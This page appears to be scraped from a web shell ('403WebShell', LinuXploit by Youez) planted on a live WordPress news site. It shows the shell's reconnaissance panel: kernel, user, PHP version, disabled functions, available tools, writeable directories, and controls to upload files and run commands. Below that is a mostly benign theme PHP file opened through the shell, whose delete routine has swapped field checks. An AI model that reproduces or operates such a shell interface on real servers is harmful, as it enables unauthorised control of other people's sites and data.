AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK Interactive Terminal

Command Executor

403WebShell
403Webshell
Server IP : dzynews.com  /  Your IP : 216.73.217.105
Web Server : nginx/1.30.3
System : Linux cloud-tdkldl-avd6 5.15.0-91-generic #101-Ubuntu SMP Tue Nov 14 13:30:08 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 8.2.31
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/dzynews.com/wp-content/themes/archive-document/Modules/Common/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/dzynews.com/wp-content/themes/archive-document/Modules/Common/UserRelationships.php
<?php
namespace B2\Modules\Common;

class UserRelationships
{


    public static function get_count($arg)
    {

        $where = '';

        if (isset($arg['type'])) {
            $cache_key = self::get_cache_key($arg);

            $cache = wp_cache_get($cache_key, 'b2_relate_count_' . $arg['type']);

            if ($cache) {
                return (int) filter_var($cache, FILTER_SANITIZE_NUMBER_INT);
                ;
            }
        }

        global $wpdb;

        if (isset($arg['type']) && $arg['type']) {
            $where .= $wpdb->prepare(' AND `type`=%s', $arg['type']);
        }

        if (isset($arg['post_id']) && $arg['post_id'] !== '') {
            $where .= $wpdb->prepare(' AND `post_id`=%d', (int) $arg['post_id']);
        }

        if (isset($arg['comment_id']) && $arg['comment_id'] !== '') {
            $where .= $wpdb->prepare(' AND `comment_id`=%d', (int) $arg['comment_id']);
        }

        if (isset($arg['user_id']) && $arg['user_id'] !== '') {
            $where .= $wpdb->prepare(' AND `user_id`=%d', (int) $arg['user_id']);
        }

        if (isset($arg['k']) && $arg['k'] !== '') {
            $where .= $wpdb->prepare(' AND `k`=%s', $arg['k']);
        }

        if (isset($arg['v']) && $arg['v'] !== '') {
            $where .= $wpdb->prepare(' AND `v`=%s', $arg['v']);
        }

        if (!$where)
            return 0;

        $where = substr($where, 4);


        $table_name = $wpdb->prefix . 'b2_post_relationships';

        $count = $wpdb->get_var("SELECT COUNT(*) FROM $table_name WHERE $where");

        if (isset($arg['type'])) {
            wp_cache_set($cache_key, 'i_' . $count, 'b2_relate_count_' . $arg['type'], 10 * MINUTE_IN_SECONDS);
        }

        return (int) $count;
    }

    public static function isset($arg)
    {
        $where = '';

        global $wpdb;

        if (isset($arg['type']) && $arg['type']) {
            $where .= $wpdb->prepare(' AND `type`=%s', $arg['type']);
        }

        if (isset($arg['post_id']) && $arg['post_id'] !== '') {
            $where .= $wpdb->prepare(' AND `post_id`=%d', (int) $arg['post_id']);
        }

        if (isset($arg['comment_id']) && $arg['comment_id'] !== '') {
            $where .= $wpdb->prepare(' AND `comment_id`=%d', (int) $arg['comment_id']);
        }

        if (isset($arg['user_id']) && $arg['user_id'] !== '') {
            $where .= $wpdb->prepare(' AND `user_id`=%d', (int) $arg['user_id']);
        }

        if (isset($arg['k']) && $arg['k'] !== '') {
            $where .= $wpdb->prepare(' AND `k`=%s', $arg['k']);
        }

        if (isset($arg['v']) && $arg['v'] !== '') {
            $where .= $wpdb->prepare(' AND `v`=%s', $arg['v']);
        }

        if (!$where)
            return 0;

        $where = substr($where, 4);


        $table_name = $wpdb->prefix . 'b2_post_relationships';

        $res = $wpdb->get_var("SELECT 1 FROM $table_name WHERE $where LIMIT 1");

        return $res ? true : false;
    }

    public static function get_cache_key($arg)
    {

        if (empty($arg))
            return;

        $cache_key = '';

        if (isset($arg['post_id']) && $arg['post_id'] !== '') {
            $cache_key .= '_' . (int) $arg['post_id'];
        }

        if (isset($arg['comment_id']) && $arg['comment_id'] !== '') {
            $cache_key .= '_' . (int) $arg['comment_id'];
        }

        if (isset($arg['user_id']) && $arg['user_id'] !== '') {
            $cache_key .= '_' . (int) $arg['user_id'];
        }

        return sanitize_key($cache_key);

    }

    public static function delete_cache($key, $type)
    {
        if (!$key)
            return;
        wp_cache_delete($key, 'b2_relate_count_' . $type);
        wp_cache_delete($key, 'b2_relate_data_' . $type);
    }

    public static function flash_cache($arg)
    {
        $user_id = isset($arg['user_id']) && $arg['user_id'] !== '' ? '_' . $arg['user_id'] : '';
        $post_id = isset($arg['post_id']) && $arg['post_id'] !== '' ? '_' . $arg['post_id'] : '';
        $comment_id = isset($arg['comment_id']) && $arg['comment_id'] !== '' ? '_' . $arg['comment_id'] : '';
        $type = $arg['type'];

        self::delete_cache($user_id, $type);
        self::delete_cache($post_id, $type);
        self::delete_cache($comment_id, $type);

        self::delete_cache($user_id . $post_id, $type);
        self::delete_cache($user_id . $comment_id, $type);
        self::delete_cache($post_id . $comment_id, $type);
        self::delete_cache($user_id . $post_id . $comment_id, $type);
    }

    public static function update_data($new_data, $where = array())
    {

        global $wpdb;
        $table_name = $wpdb->prefix . 'b2_post_relationships';

        $arr = array(
            'type' => '%s',
            'user_id' => '%d',
            'post_id' => '%d',
            'comment_id' => '%d',
            'k' => '%s',
            'v' => '%s'
        );

        $format_new_data = array();
        foreach ($new_data as $k => $v) {
            $format_new_data[] = $arr[$k];
        }

        if (empty($where)) {

            if ($wpdb->insert($table_name, $new_data, $format_new_data)) {
                if (isset($new_data['type'])) {
                    self::flash_cache($new_data);
                }
                return true;
            }
            return false;

        } else {

            $format_where = array();
            foreach ($where as $k => $v) {
                $format_where[] = $arr[$k];
            }

            if (
                $wpdb->update(
                    $table_name,
                    $new_data,
                    $where,
                    $format_new_data,
                    $format_where
                )
            ) {
                if (isset($where['type'])) {
                    self::flash_cache($where);
                }

                return true;
            }
            return false;

        }
    }

    public static function get_data($arg)
    {

        if (isset($arg['type'])) {
            $cache_key = self::get_cache_key($arg);

            $cache = wp_cache_get($cache_key, 'b2_relate_data_' . $arg['type']);

            if ($cache) {
                return $cache;
            }
        }

        global $wpdb;

        $where = '';

        if (isset($arg['type']) && $arg['type']) {
            $where .= $wpdb->prepare(' AND `type`=%s', $arg['type']);
        }

        if (isset($arg['post_id']) && $arg['post_id'] !== '') {
            $where .= $wpdb->prepare(' AND `post_id`=%d', (int) $arg['post_id']);
        }

        if (isset($arg['comment_id']) && $arg['comment_id'] !== '') {
            $where .= $wpdb->prepare(' AND `comment_id`=%d', (int) $arg['comment_id']);
        }

        if (isset($arg['user_id']) && $arg['user_id'] !== '') {
            $where .= $wpdb->prepare(' AND `user_id`=%d', (int) $arg['user_id']);
        }

        if (isset($arg['k']) && $arg['k'] !== '') {
            $where .= $wpdb->prepare(' AND `k`=%s', $arg['k']);
        }

        if (isset($arg['v']) && $arg['v'] !== '') {
            $where .= $wpdb->prepare(' AND `v`=%s', $arg['v']);
        }

        if (!$where)
            return array();

        $where = substr($where, 4);


        $table_name = $wpdb->prefix . 'b2_post_relationships';

        $res = $wpdb->get_results(
            "SELECT * FROM $table_name WHERE $where"
            ,
            ARRAY_A
        );

        if (isset($arg['type'])) {
            wp_cache_set($cache_key, $res, 'b2_relate_data_' . $arg['type'], 10 * MINUTE_IN_SECONDS);
        }

        return $res;
    }

    public static function delete_data($arg)
    {
        global $wpdb;
        $table_name = $wpdb->prefix . 'b2_post_relationships';

        $arr = array();

        if (isset($arg['id'])) {
            $arr['id'] = (int) $arg['id'];
        }

        if (isset($arg['type']) && $arg['type'] !== '') {
            $arr['type'] = $arg['type'];
        }

        if (isset($arg['post_id']) && $arg['post_id'] !== '') {
            $arr['post_id'] = (int) $arg['post_id'];
        }

        if (isset($arg['comment_id']) && $arg['comment_id'] !== '') {
            $arr['comment_id'] = (int) $arg['comment_id'];
        }

        if (isset($arg['user_id']) && $arg['user_id'] !== '') {
            $arr['user_id'] = (int) $arg['user_id'];
        }

        if (isset($arg['k']) && $arg['v'] !== '') {
            $arr['k'] = $arg['k'];
        }

        if (isset($arg['k']) && $arg['k'] !== '') {
            $arr['v'] = $arg['v'];
        }

        if (isset($arr['type'])) {
            self::flash_cache($arr);
        }

        return $wpdb->delete($table_name, $arr);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit